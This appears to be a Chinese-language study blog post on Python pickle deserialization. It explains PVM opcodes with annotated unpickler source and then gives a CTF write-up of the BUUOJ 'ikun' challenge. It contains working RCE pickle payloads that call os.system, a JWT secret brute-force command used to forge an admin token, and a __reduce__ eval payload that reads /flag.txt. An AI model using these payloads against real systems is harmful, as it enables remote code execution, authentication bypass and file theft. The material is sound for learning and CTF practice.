Pickle反序列化学习

pickle 是一种栈语言,有不同的编写方式,基于一个轻量的 PVM(Pickle Virtual Machine)

PVM大概由三个部分组成,第一部分是指令分析器,也就是引擎;第二部分是栈区,主要用于暂存数据流;第三部分是 ,也就是标签区,作为数据的一个标记吧

常用的接口:

pickle.dump(obj,file,protocol=None,*,fix_imports=True)
# 这里的file需要以wb打开(二进制可写模式)

将打包好的对象 obj 写入文件 中,其中 protocol 为 pickling 的协议版本(下同)。

pickle.dumps(obj, protocol=None, *, fix_imports=True)
# 这里的file需要以rb打开(二进制可读模式)

将 obj 打包以后的对象作为 bytes 类型直接返回

pickle.load(file,*, fix_imports=True,encoding="ASCII", errors="strict")

文件 中读取二进制字节流,将其反序列化为一个对象并返回。

pickle.loads(data, *, fix_imports=True, encoding="ASCII", errors="strict")

data 中读取二进制字节流,将其反序列化为一个对象并返回。

object.__reduce__()

__reduce__() 其实是 object类中的一个魔术方法,我们可以通过重写类的 object.__reduce__() 函数,使之在被实例化时按照重写的方式进行。

Python 要求该方法返回一个 字符串或者元组 。如果返回元组(callable, ([para1,para2...])[,...]) ,那么每当该类的对象被反序列化时,该 callable 就会被调用,参数为para1para2 ... 后面再详细解释

demo


RCE

c<module>
<callable>
(<args>
tR
cos
system #引入 os 模块的 system 方法,这里实际上是一步将函数添加到 stack 的操作
(S'ls' # 把当前 stack 存到 metastack,清空 stack,再将 'ls' 压入 stack
tR. # t 也就是将 stack 中的值弹出并转为 tuple,把 metastack 还原到 stack,再将 tuple 压入 stack
    # R 的内容就成为了 system(*('ls',)) ,然后 . 代表结束,返回当前栈顶元素
<=> __import__('os').system(*('ls',))
import pickle
import pickletools
# 弹计算机 pickle反序列化简单的RCE
opcode = b'''cos
system
(S'calc'
tR.
'''
pickle.loads(opcode)

t 是将stack中的值弹出并转为tuple,把metastack还原到到stack,再将tuple压入stack

R

选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数

函数和参数出栈,函数的返回值入栈

def load_reduce(self):
    stack = self.stack
    args = stack.pop() #弹栈作为一个参数,参数必须是元组
    func = stack[-1]# 栈中的最后一个元素作为函数的参数
    stack[-1] = func(*args)#将原来的栈区中的函数元素覆盖成函数执行结果
dispatch[REDUCE[0]] = load_reduce

### 例子
# c ==> import os os.system()
# ( ==> push new specail object on stack
# S ==> push string on stack # meet '/n' ending up
# t ==> build tuple from topmost stack items
# R ==> apply callable to argtuple,both on stack

my_opcode = b'''cos
system
(S'calc'
tR.'''


#pickletools.dis ==>
    0: c    GLOBAL     'os system'
   11: (    MARK
   12: S        STRING     'calc'
   20: t        TUPLE      (MARK at 11)
   21: R    REDUCE
   22: .    STOP
highest protocol among opcodes = 0

O

寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)

这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈

def load_obj(self):
    # Stack is ... markobject classobject arg1 arg2 ...
    args = self.pop_mark() #当前栈中所有的数据赋值给args
    cls = args.pop(0) #弹出第一个,作为类名 利用是为函数名
    self._instantiate(cls, args)
dispatch[OBJ[0]] = load_obj

### 例子
# Third o
# ( ==> push 'new' special object on stack (MARK)
# c ==> import os  os.system
# S ==> push string on stack
# o ==> build & push class instance  push first MARK(os.system) to global function,second MARK to arg
my_opcode3=b'''(cos
system
S'whoami'
o.'''

#pickletools.dis ==>
    0: (    MARK
    1: c        GLOBAL     'os system'
   12: S        STRING     'calc'
   20: o        OBJ        (MARK at 0)
   21: .    STOP
highest protocol among opcodes = 1

i

相当于c和o的组合先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)

这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈

def load_inst(self):
    module = self.readline()[:-1].decode("ascii")#获得module
    name = self.readline()[:-1].decode("ascii")#获得参数,name
    klass = self.find_class(module, name)#放到find_class寻找调用
    self._instantiate(klass, self.pop_mark())#pop_mark 获取参数
dispatch[INST[0]] = load_inst

def pop_mark(self):
    items = self.stack
    self.stack = self.metastack.pop()
    self.append = self.stack.append
    return items#先将当前栈赋值给items 然后弹出栈内元素 随后 将这个栈赋值给当前栈 返回items

### 例子
# Second i
# ( ==> push 'new' special object on stack
# S ==> push string on stack
# i ==> build & push class instance  push MARK(calc) to argtuple  i==o and c
# . ==> stop it
my_opcode2 =b'''(S'calc'
ios
system
.'''


## pickletools.dis ==>
    0: (    MARK
    1: S        STRING     'calc'
    9: i        INST       'os system' (MARK at 0)
   20: .    STOP
highest protocol among opcodes = 0

b+__setstate__()

使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置

栈上第一个元素出栈

def load_build(self):
    stack = self.stack
    state = stack.pop()
    # 获取栈的倒数第二个元素赋值给inst
    inst = stack[-1]
    # 获取inst对象的__setstate__属性
    setstate = getattr(inst, "__setstate__", None)
    if setstate is not None:
        setstate(state)
        return
    slotstate = None
    # 如果state是元组类型并且长度为2,将其分解为state和slotstate
    if isinstance(state, tuple) and len(state) == 2:
        state, slotstate = state
        ##如果"__setstate__"为空,则state与对象默认的__dict__合并,这一步其实就是将序列化前保存的持久化属性和对象属性字典合并
    if state:
        inst_dict = inst.__dict__
        intern = sys.intern
        # 遍历state字典,将键名intern后赋值给inst_dict,键值直接赋值
        for k, v in state.items():
            if type(k) is str:
                inst_dict[intern(k)] = v
            else:
                inst_dict[k] = v
    # 如果slotstate不为空,遍历slotstate字典,并将其键值对赋值给inst对象
    if slotstate:
        for k, v in slotstate.items():
            setattr(inst, k, v)
dispatch[BUILD[0]] = load_build

[CISCN2019 华北赛区 Day1 Web2]ikun

这网站不仅可以以薅羊毛,我还留了个后门,就藏在lv6里

首先我们用一个脚本找到lv6在哪里

import requests

url = "http://55905d46-9afa-4d5c-9bb8-028ae759f188.node4.buuoj.cn:81/shop?page="
for i in range(0,500):
    url1 = url + str(i)
    re = requests.get(url=url1)
    print(i)
    if "lv6.png" in re.text:
        print(i)
        break
# 第181

然后我们可以通过抓包分析到,这里有一个逻辑漏洞,可以更改其折扣,买lv6

这里可以用c-jwt-cracker进行密钥爆破

docker run miniers/jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im9vcCJ9.6k5XAWpdsddTe_F9MV2JKsbbM7DBXcU9UTbeeoK0SHE
Secret is "1Kun"

然后用jwt.io进行jwt伪造,成功伪造admin身份,读/b1g_m4mber发现有下面这个路由下载源码

/static/asd1f654e683wq/www.zip
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))    # 反序列化入口  unquote 进行一次urldecode
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

发现这里有pickle.loads函数,可以进行反序列化,利用__reduce__**()**从而触发恶意代码

import pickle
import urllib
 
class test(object):
    def __reduce__(self):
        return (eval, ("open('/flag.txt', 'r').read()",))
 
a = test()
s = pickle.dumps(a)
print(urllib.quote(s))
## 用python2运行
c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%20%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

flag{af7058f7-8625-4b88-a029-4ded23a77015}

先停一段是时间pickle反序列化的学习,后续在来补,要去做一些其他的事情
文章所参考的链接:
https://tttang.com/archive/1885/
https://forum.butian.net/share/1929